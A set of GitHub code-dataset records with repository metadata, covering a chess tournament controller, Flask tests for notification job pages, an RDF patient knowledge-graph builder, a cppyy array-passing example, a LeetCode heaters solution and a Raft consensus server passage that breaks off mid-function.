action_create_tournament(self, current_username, client, data):\n tournament = self.tournament_manager.create_tournament()\n await self.send(client, 'tournament_created', tournament)\n return True\n\n async def action_add_user_to_tournament(self, current_username, client, data):\n tournament_id = data['tournament_id']\n username = data['username']\n if username == '*':\n active_usernames = await self.get_active_users()\n for username in active_usernames:\n self.tournament_manager.add_user(tournament_id, username)\n else:\n self.tournament_manager.add_user(tournament_id, username)\n users = self.tournament_manager.get_users(tournament_id)\n await self.send(client, 'user_added_to_tournament', users)\n return True\n\n async def action_start_tournament(self, current_username, client, data):\n tournament_id = data['tournament_id']\n tournament = self.tournament_manager.get_tournament(tournament_id)\n # TODO: control and change state...\n boards = self.tournament_manager.start(tournament_id)\n for board_id in boards:\n asyncio.create_task(self._start_board(board_id))\n users = self.tournament_manager.get_users(tournament_id)\n\n await self.send(client, 'tournament_started', users)\n return True\n", "repo_name": "eldalai/mega-chess", "sub_path": "controller.py", "file_name": "controller.py", "file_ext": "py", "file_size_in_byte": 16601, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "manager.ChessManager", "line_number": 57, "usage_type": "call"}, {"api_name": "users.UserManager", "line_number": 58, "usage_type": "call"}, {"api_name": "tournaments.TournamentManager", "line_number": 59, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 86, "usage_type": "call"}, {"api_name": "ujson.loads", "line_number": 98, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 168, "usage_type": "call"}, {"api_name": "ujson.dumps", "line_number": 200, "usage_type": "call"}, {"api_name": "manager.GameOverException", "line_number": 248, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 252, "usage_type": "call"}, {"api_name": "manager.GameOverException", "line_number": 258, "usage_type": "name"}, {"api_name": "ujson.dumps", "line_number": 278, "usage_type": "call"}, {"api_name": "ujson.dumps", "line_number": 292, "usage_type": "call"}, {"api_name": "manager.GameOverException", "line_number": 319, "usage_type": "name"}, {"api_name": "ujson.loads", "line_number": 341, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 346, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 353, "usage_type": "call"}, {"api_name": "ujson.dumps", "line_number": 394, "usage_type": "call"}, {"api_name": "asyncio.create_task", "line_number": 424, "usage_type": "call"}]} {"seq_id": "71570462303", "text": "import json\n\nimport pytest\nfrom bs4 import BeautifulSoup\nfrom flask import url_for\nfrom freezegun import freeze_time\nfrom tests.conftest import (\n SERVICE_ONE_ID,\n mock_get_notifications,\n normalize_spaces,\n)\n\nfrom app.main.views.jobs import get_time_left\n\n\ndef test_get_jobs_should_return_list_of_all_real_jobs(\n logged_in_client,\n service_one,\n active_user_with_permissions,\n mock_get_jobs,\n mocker,\n):\n response = logged_in_client.get(url_for('main.view_jobs', service_id=service_one['id']))\n\n assert response.status_code == 200\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n assert page.h1.string == 'Uploaded files'\n jobs = [x.text for x in page.tbody.find_all('a', {'class': 'file-list-filename'})]\n assert len(jobs) == 4\n\n\ndef test_get_jobs_shows_page_links(\n logged_in_client,\n service_one,\n active_user_with_permissions,\n mock_get_jobs,\n mocker,\n):\n response = logged_in_client.get(url_for('main.view_jobs', service_id=service_one['id']))\n\n assert response.status_code == 200\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n assert 'Next page' in page.find('li', {'class': 'next-page'}).text\n assert 'Previous page' in page.find('li', {'class': 'previous-page'}).text\n\n\n@pytest.mark.parametrize(\n \"status_argument, expected_api_call\", [\n (\n '',\n [\n 'created', 'pending', 'sending', 'pending-virus-check',\n 'delivered', 'sent',\n 'failed', 'temporary-failure', 'permanent-failure', 'technical-failure', 'virus-scan-failed',\n ]\n ),\n (\n 'sending',\n ['sending', 'created', 'pending', 'pending-virus-check']\n ),\n (\n 'delivered',\n ['delivered', 'sent']\n ),\n (\n 'failed',\n ['failed', 'temporary-failure', 'permanent-failure', 'technical-failure', 'virus-scan-failed']\n )\n ]\n)\n@freeze_time(\"2016-01-01 11:09:00.061258\")\ndef test_should_show_page_for_one_job(\n logged_in_client,\n service_one,\n active_user_with_permissions,\n mock_get_service_template,\n mock_get_job,\n mocker,\n mock_get_notifications,\n fake_uuid,\n status_argument,\n expected_api_call,\n):\n\n response = logged_in_client.get(url_for(\n 'main.view_job',\n service_id=service_one['id'],\n job_id=fake_uuid,\n status=status_argument\n ))\n\n assert response.status_code == 200\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n assert page.h1.text.strip() == 'thisisatest.csv'\n assert ' '.join(page.find('tbody').find('tr').text.split()) == (\n '07123456789 template content Delivered 1 January at 11:10am'\n )\n assert page.find('div', {'data-key': 'notifications'})['data-resource'] == url_for(\n 'main.view_job_updates',\n service_id=service_one['id'],\n job_id=fake_uuid,\n status=status_argument,\n )\n csv_link = page.select_one('a[download]')\n assert csv_link['href'] == url_for(\n 'main.view_job_csv',\n service_id=service_one['id'],\n job_id=fake_uuid,\n status=status_argument\n )\n assert csv_link.text == 'Download this report'\n assert page.find('span', {'id': 'time-left'}).text == 'Data available for 7 days'\n mock_get_notifications.assert_called_with(\n service_one['id'],\n fake_uuid,\n status=expected_api_call\n )\n\n\ndef test_get_jobs_should_tell_user_if_more_than_one_page(\n logged_in_client,\n fake_uuid,\n service_one,\n mock_get_job,\n mock_get_service_template,\n mock_get_notifications_with_previous_next,\n):\n response = logged_in_client.get(url_for(\n 'main.view_job',\n service_id=service_one['id'],\n job_id=fake_uuid,\n status=''\n ))\n\n assert response.status_code == 200\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n assert page.find('p', {'class': 'table-show-more-link'}).text.strip() == 'Only showing the first 50 rows'\n\n\ndef test_should_show_job_in_progress(\n logged_in_client,\n service_one,\n active_user_with_permissions,\n mock_get_service_template,\n mock_get_job_in_progress,\n mocker,\n mock_get_notifications,\n fake_uuid,\n):\n\n response = logged_in_client.get(url_for(\n 'main.view_job',\n service_id=service_one['id'],\n job_id=fake_uuid\n ))\n\n assert response.status_code == 200\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n assert page.find('p', {'class': 'hint'}).text.strip() == 'Report is 50% complete…'\n\n\n@freeze_time(\"2016-01-01 11:09:00.061258\")\ndef test_should_show_letter_job(\n client_request,\n mock_get_service_letter_template,\n mock_get_job,\n fake_uuid,\n active_user_with_permissions,\n mocker,\n):\n\n get_notifications = mock_get_notifications(mocker, active_user_with_permissions, diff_template_type='letter')\n\n page = client_request.get(\n 'main.view_job',\n service_id=SERVICE_ONE_ID,\n job_id=fake_uuid,\n )\n assert normalize_spaces(page.h1.text) == 'thisisatest.csv'\n assert normalize_spaces(page.select('p.bottom-gutter')[0].text) == (\n 'Sent by Test User on 1 January at 11:09am'\n )\n assert page.select('.banner-default-with-tick') == []\n assert normalize_spaces(page.select('tbody tr')[0].text) == (\n '1 Example Street template content 1 January at 11:09am'\n )\n assert normalize_spaces(page.select('.keyline-block')[0].text) == (\n '1 Letter'\n )\n assert normalize_spaces(page.select('.keyline-block')[1].text) == (\n '6 January Estimated delivery date'\n )\n assert page.select('[download=download]') == []\n assert page.select('.hint') == []\n\n get_notifications.assert_called_with(\n SERVICE_ONE_ID,\n fake_uuid,\n status=[\n 'created',\n 'pending',\n 'sending',\n 'pending-virus-check',\n 'delivered',\n 'sent',\n 'failed',\n 'temporary-failure',\n 'permanent-failure',\n 'technical-failure',\n 'virus-scan-failed',\n ],\n )\n\n\n@freeze_time(\"2016-01-01 11:09:00.061258\")\ndef test_should_show_letter_job_with_banner_after_sending(\n client_request,\n mock_get_service_letter_template,\n mock_get_job,\n mock_get_notifications,\n fake_uuid,\n):\n\n page = client_request.get(\n 'main.view_job',\n service_id=SERVICE_ONE_ID,\n job_id=fake_uuid,\n just_sent='yes',\n )\n\n assert page.select('p.bottom-gutter') == []\n assert normalize_spaces(page.select('.banner-default-with-tick')[0].text) == (\n 'We’ve started printing your letters'\n )\n\n\n@freeze_time(\"2016-01-01T00:00:00.061258\")\ndef test_should_show_scheduled_job(\n logged_in_client,\n active_user_with_permissions,\n mock_get_service_template,\n mock_get_scheduled_job,\n mocker,\n mock_get_notifications,\n fake_uuid,\n):\n response = logged_in_client.get(url_for(\n 'main.view_job',\n service_id=SERVICE_ONE_ID,\n job_id=fake_uuid\n ))\n\n assert response.status_code == 200\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n assert normalize_spaces(page.select('main p')[1].text) == (\n 'Sending Two week reminder today at midnight'\n )\n assert page.select('main p a')[0]['href'] == url_for(\n 'main.view_template_version',\n service_id=SERVICE_ONE_ID,\n template_id='5d729fbd-239c-44ab-b498-75a985f3198f',\n version=1,\n )\n assert page.select_one('button[type=submit]').text.strip() == 'Cancel sending'\n\n\ndef test_should_cancel_job(\n logged_in_client,\n service_one,\n fake_uuid,\n mocker,\n):\n mock_cancel = mocker.patch('app.main.jobs.job_api_client.cancel_job')\n response = logged_in_client.post(url_for(\n 'main.cancel_job',\n service_id=service_one['id'],\n job_id=fake_uuid\n ))\n\n mock_cancel.assert_called_once_with(service_one['id'], fake_uuid)\n assert response.status_code == 302\n assert response.location == url_for('main.service_dashboard', service_id=service_one['id'], _external=True)\n\n\ndef test_should_not_show_cancelled_job(\n logged_in_client,\n service_one,\n active_user_with_permissions,\n mock_get_cancelled_job,\n mocker,\n fake_uuid,\n):\n response = logged_in_client.get(url_for(\n 'main.view_job',\n service_id=service_one['id'],\n job_id=fake_uuid\n ))\n\n assert response.status_code == 404\n\n\n@freeze_time(\"2016-01-01 00:00:00.000001\")\ndef test_should_show_updates_for_one_job_as_json(\n logged_in_client,\n service_one,\n active_user_with_permissions,\n mock_get_notifications,\n mock_get_service_template,\n mock_get_job,\n mocker,\n fake_uuid,\n):\n response = logged_in_client.get(url_for('main.view_job_updates', service_id=service_one['id'], job_id=fake_uuid))\n\n assert response.status_code == 200\n content = json.loads(response.get_data(as_text=True))\n assert 'sending' in content['counts']\n assert 'delivered' in content['counts']\n assert 'failed' in content['counts']\n assert 'Recipient' in content['notifications']\n assert '07123456789' in content['notifications']\n assert 'Status' in content['notifications']\n assert 'Delivered' in content['notifications']\n assert '12:01am' in content['notifications']\n assert 'Sent by Test User on 1 January at midnight' in content['status']\n\n\n@pytest.mark.parametrize(\n \"job_created_at, expected_message\", [\n (\"2016-01-10 11:09:00.000000+00:00\", \"Data available for 7 days\"),\n (\"2016-01-04 11:09:00.000000+00:00\", \"Data available for 1 day\"),\n (\"2016-01-03 11:09:00.000000+00:00\", \"Data available for 11 hours\"),\n (\"2016-01-02 23:59:59.000000+00:00\", \"Data no longer available\")\n ]\n)\n@freeze_time(\"2016-01-10 12:00:00.000000\")\ndef test_time_left(job_created_at, expected_message):\n assert get_time_left(job_created_at) == expected_message\n\n\n\n@pytest.mark.parametrize('original_file_contents', [\n \"\"\"\n phone_number\n 07800900123\n \"\"\",\n \"\"\"\n phone_number, a, b, c\n 07800900123, 🐜,🐝,🦀\n \"\"\",\n \"\"\"\n \"phone_number\", \"a\", \"b\", \"c\"\n \"07800900123\",\"🐜,🐜\",\"🐝,🐝\",\"🦀\"\n \"\"\",\n])\n@freeze_time(\"2016-01-01 11:09:00.061258\")\ndef test_should_download_csv_even_with_unicode_in_template_name(\n logged_in_client,\n service_one,\n active_user_with_permissions,\n mock_get_unicode_service_template,\n mock_get_job,\n mocker,\n mock_get_notifications,\n fake_uuid,\n original_file_contents,\n):\n mocker.patch(\n 'app.main.s3_client.s3download',\n return_value=original_file_contents,\n )\n\n response = logged_in_client.get(url_for(\n 'main.view_job_csv',\n service_id=service_one['id'],\n job_id=fake_uuid\n ))\n\n assert response.status_code == 200\n\n for header, header_value in response.headers:\n header_value.encode('ascii') # this throws exception if not ascii\n", "repo_name": "govau/notify", "sub_path": "admin/tests/app/main/views/test_jobs.py", "file_name": "test_jobs.py", "file_ext": "py", "file_size_in_byte": 11149, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.url_for", "line_number": 23, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 39, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 85, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 105, "usage_type": "call"}, {"api_name": "tests.conftest.mock_get_notifications.assert_called_with", "line_number": 113, "usage_type": "call"}, {"api_name": "tests.conftest.mock_get_notifications", "line_number": 113, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 47, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 47, "usage_type": "attribute"}, {"api_name": "freezegun.freeze_time", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 128, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 136, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 151, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 158, "usage_type": "call"}, {"api_name": "tests.conftest.mock_get_notifications", "line_number": 172, "usage_type": "call"}, {"api_name": "tests.conftest.SERVICE_ONE_ID", "line_number": 176, "usage_type": "name"}, {"api_name": "tests.conftest.normalize_spaces", "line_number": 179, "usage_type": "call"}, {"api_name": "tests.conftest.normalize_spaces", "line_number": 180, "usage_type": "call"}, {"api_name": "tests.conftest.normalize_spaces", "line_number": 184, "usage_type": "call"}, {"api_name": "tests.conftest.normalize_spaces", "line_number": 187, "usage_type": "call"}, {"api_name": "tests.conftest.normalize_spaces", "line_number": 190, "usage_type": "call"}, {"api_name": "tests.conftest.SERVICE_ONE_ID", "line_number": 197, "usage_type": "argument"}, {"api_name": "freezegun.freeze_time", "line_number": 162, "usage_type": "call"}, {"api_name": "tests.conftest.SERVICE_ONE_ID", "line_number": 226, "usage_type": "name"}, {"api_name": "tests.conftest.normalize_spaces", "line_number": 232, "usage_type": "call"}, {"api_name": "freezegun.freeze_time", "line_number": 215, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 247, "usage_type": "call"}, {"api_name": "tests.conftest.SERVICE_ONE_ID", "line_number": 249, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 254, "usage_type": "call"}, {"api_name": "tests.conftest.normalize_spaces", "line_number": 255, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 258, "usage_type": "call"}, {"api_name": "tests.conftest.SERVICE_ONE_ID", "line_number": 260, "usage_type": "name"}, {"api_name": "freezegun.freeze_time", "line_number": 237, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 274, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 282, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 293, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 313, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 316, "usage_type": "call"}, {"api_name": "freezegun.freeze_time", "line_number": 302, "usage_type": "call"}, {"api_name": "app.main.views.jobs.get_time_left", "line_number": 338, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 328, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 328, "usage_type": "attribute"}, {"api_name": "freezegun.freeze_time", "line_number": 336, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 373, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 342, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 342, "usage_type": "attribute"}, {"api_name": "freezegun.freeze_time", "line_number": 356, "usage_type": "call"}]} {"seq_id": "35115186593", "text": "from rdflib import BNode, Literal, Namespace, Graph\nfrom rdflib.namespace import FOAF, XSD, RDF\nfrom rdflib.extras.external_graph_libs import rdflib_to_networkx_multidigraph, rdflib_to_networkx_digraph\n# import networkx as nx\nfrom random import shuffle\nfrom ast import literal_eval\nimport os\nimport pandas as pd\nimport json\n\nclass PatientKG (object):\n def __init__(self) -> None:\n super().__init__()\n self.diseaselist = ['abnormal', 'normal', 'lung opacity', 'atelectasis', 'pleural effusion', 'vascular congestion', 'pulmonary edema/hazy opacity',\n 'low lung volumes', 'pneumonia', 'endotracheal tube', 'enlarged cardiac silhouette', 'aspiration', 'linear/patchy atelectasis',\n 'vascular calcification', 'tortuous aorta', 'pleural/parenchymal scarring', 'consolidation', 'fluid overload/heart failure',\n 'mass/nodule (not otherwise specified)', 'copd/emphysema', 'hyperaeration', 'airspace opacity', 'lobar/segmental collapse',\n 'enlarged hilum', 'calcified nodule']\n \n \n def newGraph(self, filename):\n AIDAS = Namespace('http://aidas.org/')\n\n mido = Namespace('https://bioportal.bioontology.org/ontologies/MIDO/')\n ddo = Namespace('http://purl.obolibrary.org/obo/DDO.owl#')\n radlex = Namespace('radlex.org/RID/RadLex.owl/')\n ncit = Namespace('http://ncicb.nci.nih.gov/xml/owl/EVS/Thesaurus.owl#')\n symp = Namespace('http://purl.obolibrary.org/obo/symp.owl/')\n ogms = Namespace('http://purl.obolibrary.org/obo/OGMS_0000031/')\n prov = Namespace('https://www.w3.org/TR/prov-o/')\n doid = Namespace('http://purl.obolibrary.org/obo/doid#')\n \n filename = filename\n\n KGs = {}\n try:\n patient = pd.read_csv('patient.csv', sep='\\t')\n patient[['output', 'target']].to_numpy()\n except FileNotFoundError:\n print('{} not in directory'.format(filename))\n else:\n g = Graph()\n # data = json.load(f)\n \n patientProfile = ddo['demographic']#BNode()\n # age = Literal(data['age_decile'], datatype=XSD['string'])\n imageID = Literal(patient['image_id'][0], datatype=XSD['string'])\n patientID = Literal(patient['image_id'][0], datatype=XSD['string'])\n # gender = Literal(data['gender'], datatype=XSD['string'])\n # StudyDateTime = Literal(data['StudyDateTime'], datatype=XSD['datetime'])\n\n g.add((patientID, RDF.type, ncit['Patient']))\n g.add((patientID, ddo['hasDemographics'], patientProfile))\n # g.add((patientProfile, CXRO['hasAge'], age))\n g.add((patientProfile, mido['hasID'], patientID))\n # g.add((patientProfile, CXRO['hasGender'], gender))\n g.add((patientID, ddo['hasLaboratoryTest'], ogms['LaboratoryTest']))\n g.add((ogms['LaboratoryTest'], ddo['hasReport'], radlex['Report']))\n g.add((radlex['Report'], mido['hasID'], imageID))\n # g.add((CXRO['cxrReport'], PROV['wasGeneratedAtTime'], StudyDateTime))\n\n # for attribute in data['attributes']:\n for index, row in patient.iterrows():\n att = row['objects'].replace(' ', '_')\n name = row['objects']\n g.add((patientID, mido['hasAttribute'], mido[att]))\n g.add((mido[att], RDF.type, mido['AnatomicalRegion']))\n\n patient = PatientKG()\n #create subgraph\n subG = patient.subGraph(row)\n #reason over sub graph\n patient.reasoner(row)\n KGs[name] = subG\n g += subG\n # print(subG.serialize())\n \n g.bind('ddo', ddo)\n g.bind('RadLex', radlex)\n g.bind('mido', mido)\n g.bind('ogms', ogms)\n g.bind('ncit', ncit)\n g.bind('prov', prov)\n\n KGs['full KG'] = g\n # g = g.serialize(format='turtle')\n # g = g.serialize()\n return g\n\n\n def subGraph(self, attribute):\n mido = Namespace('https://bioportal.bioontology.org/ontologies/MIDO/')\n ddo = Namespace('http://purl.obolibrary.org/obo/DDO.owl#')\n radlex = Namespace('radlex.org/RID/RadLex.owl/')\n ncit = Namespace('http://ncicb.nci.nih.gov/xml/owl/EVS/Thesaurus.owl#')\n symp = Namespace('http://purl.obolibrary.org/obo/symp.owl/')\n ogms = Namespace('http://purl.obolibrary.org/obo/OGMS_0000031/')\n prov = Namespace('https://www.w3.org/TR/prov-o/')\n doid = Namespace('http://purl.obolibrary.org/obo/doid#')\n\n g = Graph()\n att = attribute['objects'].replace(' ', '_')\n positive = Literal('Positive', datatype=XSD['string'])\n negative = Literal('Negative', datatype=XSD['string'])\n # print(attribute['output'])\n att = literal_eval(attribute['output'])\n for index, disease in enumerate(att):\n # print(disease)\n if disease == 1:\n dis = self.diseaselist[index]\n dis = dis.replace(' ', '_')\n # find = disease.split('|')[0]\n g.add((radlex['Report'], mido['hasFinding'], mido[dis]))\n # g.add((CXRO[dis], RDF.type, CXRO[find]))\n g.add((mido[dis], prov['value'], positive))\n g.add((mido[dis], prov['wasAssociatedWith'], mido[att]))\n # elif disease == 0:\n # dis = self.diseaselist[index]\n # dis = dis.replace(' ', '_')\n # # find = disease.split('|')[0]\n # g.add((radlex['Report'], mido['hasFinding'], mido[dis]))\n # # g.add((CXRO[dis], RDF.type, CXRO[find]))\n # g.add((mido[dis], prov['value'], negative))\n # g.add((mido[dis], prov['wasAssociatedWith'], mido[att]))\n return g\n \n def reasoner(self, row):\n #abnormal and any other condition\n att = row['objects']\n diseases = literal_eval(row['output'])\n normal = diseases.pop(1)\n if (normal == 1) and (1 in diseases):\n index_list = [i for i, x in enumerate(diseases) if x == 1]\n res_list = [self.diseaselist[i] for i in index_list]\n print (\"Patient's {} cannot be normal and also have {} attributes: \".format(att, str(res_list)))\n\n def generateContext(self, rdfgraph):\n context = []\n for s,p,o in rdfgraph:\n sen = s.split('/')[-1].replace('_', ' ')\n sen += ' ' + p.split('/')[-1].replace('_', ' ').split('#')[-1]\n sen += ' ' + o.split('/')[-1].replace('_', ' ')\n context.append(sen)\n shuffle(context)\n return context\n\n def randomwalk(self, rdfgraph):\n G = rdflib_to_networkx_digraph(rdfgraph)\n all_paths = nx.all_pairs_shortest_path(G)\n # print(len(G))\n return all_paths\n\nif __name__=='__main__':\n filename = '/Users/nneka/Downloads/3rd year phd/ISWC/Code/data/patient.csv'\n patient = PatientKG()\n g = patient.newGraph(filename)\n g.serialize(destination=\"patient.ttl\")\n\n\n", "repo_name": "Nkechinyere-Agu/MIDO", "sub_path": "utils/json2rdf.py", "file_name": "json2rdf.py", "file_ext": "py", "file_size_in_byte": 7164, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "rdflib.Namespace", "line_number": 22, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 24, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 25, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 26, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 27, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 28, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 29, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 30, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 37, "usage_type": "call"}, {"api_name": "rdflib.Graph", "line_number": 42, "usage_type": "call"}, {"api_name": "rdflib.Literal", "line_number": 47, "usage_type": "call"}, {"api_name": "rdflib.namespace.XSD", "line_number": 47, "usage_type": "name"}, {"api_name": "rdflib.Literal", "line_number": 48, "usage_type": "call"}, {"api_name": "rdflib.namespace.XSD", "line_number": 48, "usage_type": "name"}, {"api_name": "rdflib.namespace.RDF.type", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rdflib.namespace.RDF", "line_number": 52, "usage_type": "name"}, {"api_name": "rdflib.namespace.RDF.type", "line_number": 67, "usage_type": "attribute"}, {"api_name": "rdflib.namespace.RDF", "line_number": 67, "usage_type": "name"}, {"api_name": "rdflib.Namespace", "line_number": 92, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 93, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 94, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 95, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 96, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 97, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 98, "usage_type": "call"}, {"api_name": "rdflib.Namespace", "line_number": 99, "usage_type": "call"}, {"api_name": "rdflib.Graph", "line_number": 101, "usage_type": "call"}, {"api_name": "rdflib.Literal", "line_number": 103, "usage_type": "call"}, {"api_name": "rdflib.namespace.XSD", "line_number": 103, "usage_type": "name"}, {"api_name": "rdflib.Literal", "line_number": 104, "usage_type": "call"}, {"api_name": "rdflib.namespace.XSD", "line_number": 104, "usage_type": "name"}, {"api_name": "ast.literal_eval", "line_number": 106, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 130, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 144, "usage_type": "call"}, {"api_name": "rdflib.extras.external_graph_libs.rdflib_to_networkx_digraph", "line_number": 148, "usage_type": "call"}]} {"seq_id": "72999034784", "text": "import cppyy\nimport numpy as np\nfrom array import array\n\n# Load the library\ncppyy.include('../include/pixel.h')\ncppyy.load_library('../bin/pixel.so')\n# The library lives in cppyy.gbl\n\n########################### FROM PYTHON TO C ############################\n########## 1D ARRAY ##########\n## python list - must use vector \nprint(\"\\n1D python list\") \ncppyy.cppdef(\"\"\"\n void test_1D(const std::vector& array) {\n for (int i=0; i>& array) {\n for (int i=0; i int:\n heaters.sort()\n r, n = 0, len(heaters)\n for h in houses:\n # Try to find which heater pairs the current house is between.\n i = bisect_left(heaters, h)\n if i == 0: # On the left side of the first heater.\n r = max(r, heaters[0] - h)\n elif i == n: # On the right side of the last heater.\n r = max(r, h - heaters[-1])\n else: # Between two heaters, try to find the mininum distance.\n r = max(r, min(h - heaters[i - 1], heaters[i] - h))\n\n return r\n", "repo_name": "eronekogin/leetcode", "sub_path": "2020/heaters.py", "file_name": "heaters.py", "file_ext": "py", "file_size_in_byte": 767, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 11, "usage_type": "name"}, {"api_name": "bisect.bisect_left", "line_number": 16, "usage_type": "call"}]} {"seq_id": "71900333023", "text": "import asyncio\nfrom typing import List\n\nfrom . import utils\nfrom .abc import IRaftServer\nfrom .errors import *\nfrom .rpc import protocol as prot\nfrom .rpc import rpc\nfrom .state_machine import RaftStateMachine, State, Command\n\nELECTION_TIMEOUT = 0.5\nFLEXIBLE_PAXOS_QUORUM = 2 / 6\nRPC_TIMEOUT = 1\n\n\nclass ClusterMember:\n def __init__(self, ip: str, port: int):\n self.ip = ip\n self.port = port\n self.id = utils.get_id(self, ip, port)\n\n\nclass Server(ClusterMember):\n def __init__(self, ip: str, port: int, cluster):\n super().__init__(ip, port)\n self._cluster: List[rpc.RemoteRaftServer] = cluster or []\n self._leader = None\n self._leader_hbeat = asyncio.Event()\n self._leader_volatile_state_data = None\n self._listener_task = None\n\n async def _start_listening(self):\n self._listener_task = await asyncio.start_server(\n self._handle_request, self.ip, self.port\n )\n\n async def _handle_request(self, reader, writer):\n message = await prot.read_decode_msg(reader)\n if isinstance(self, RaftServer):\n await rpc.handle_request(self, (reader, writer), message)\n else:\n raise TypeError(\"Invalid Server instance\")\n writer.close()\n\n\nclass RaftServer(IRaftServer, Server, RaftStateMachine):\n def __init__(\n self, ip: str, port: int, cluster, state: State = State.FOLLOWER, log=None\n ):\n Server.__init__(self, ip, port, cluster)\n RaftStateMachine.__init__(self, state, log)\n\n self._voted_for = None # candidateId that received vote in currentterm\n self._next_indexes = (\n {}\n ) # for each server, index of the next log entryto send to that server\n self._match_indexes = (\n {}\n ) # for each server, index of highest log entryknown to be replicated on server\n self._commands_queue = (\n asyncio.Queue()\n ) # Queue where commands waiting for commit process to start are stored\n\n self._cluster_locks = (\n {}\n ) # Lock for mantaining order when several AppendEntries RPC calls are sent for same server\n\n self._election_task = None\n self._timeout_task = None\n\n self._entries_task = None\n self._hbeat_task = None\n\n self._append_tasks = (\n {}\n ) # TODO: every cluster member has a list of tasks running\n # TODO: init tasks\n\n async def update_state(self, key, value):\n command = Command(key, value)\n if self._leader is self:\n await self._queue_command(command)\n else:\n while True:\n try:\n await self._leader.command_request(command)\n break\n except TermConsistencyError as error:\n self._current_term = error.term\n pass # TODO: do something else?\n except LeaderConsistencyError as error:\n self.leader = list(\n filter(lambda s: s.id == error.leader_id, self.cluster)\n )[0]\n\n async def join_cluster(self, random_server: ClusterMember):\n if random_server:\n remote_server = rpc.RemoteRaftServer(random_server.ip, random_server.port)\n self.cluster, leader_id = await remote_server.get_cluster_configuration()\n self.leader = list(filter(lambda s: s.id == leader_id, self.cluster))[0]\n\n if self not in self.cluster:\n self.cluster.append(self)\n # TODO: init configuration change\n else:\n pass # TODO: means it already was in the cluster, but it had crushed\n else:\n pass # TODO: first cluster member\n\n async def leave_cluster(self):\n self.cluster.remove(self)\n # TODO: init configuration change\n\n async def remove_cluster_member(self, id):\n self.cluster = list(filter(lambda s: s.id != id, self.cluster))\n # TODO: init configuration change\n\n async def _run_timeout_task(self):\n while True:\n try:\n await asyncio.wait_for(\n self._leader_hbeat.wait(), timeout=ELECTION_TIMEOUT\n ) # TODO: random timeout\n except asyncio.TimeoutError:\n await self._change_state(State.CANDIDATE)\n finally:\n self._leader_hbeat.clear()\n\n async def _run_entries_task_(self):\n command = await self._commands_queue.get()\n self._append_command(command)\n rpc_calls = []\n for server in filter(lambda s: s is not self, self.cluster):\n append_task = asyncio.create_task(\n self._append_entry_task(s, len(self._log) - 1)\n )\n rpc_calls.append(append_task)\n self._append_tasks[server.id].append(append_task)\n\n committed_amount = 1 # Starts on '1' because of itself\n for rpc_call in asyncio.as_completed(rpc_calls):\n await rpc_call.result()\n committed_amount += 1\n if committed_amount >= int(len(self._cluster) * FLEXIBLE_PAXOS_QUORUM):\n self._commit_command(command)\n break\n\n async def _run_hbeat_task(self):\n while True:\n await 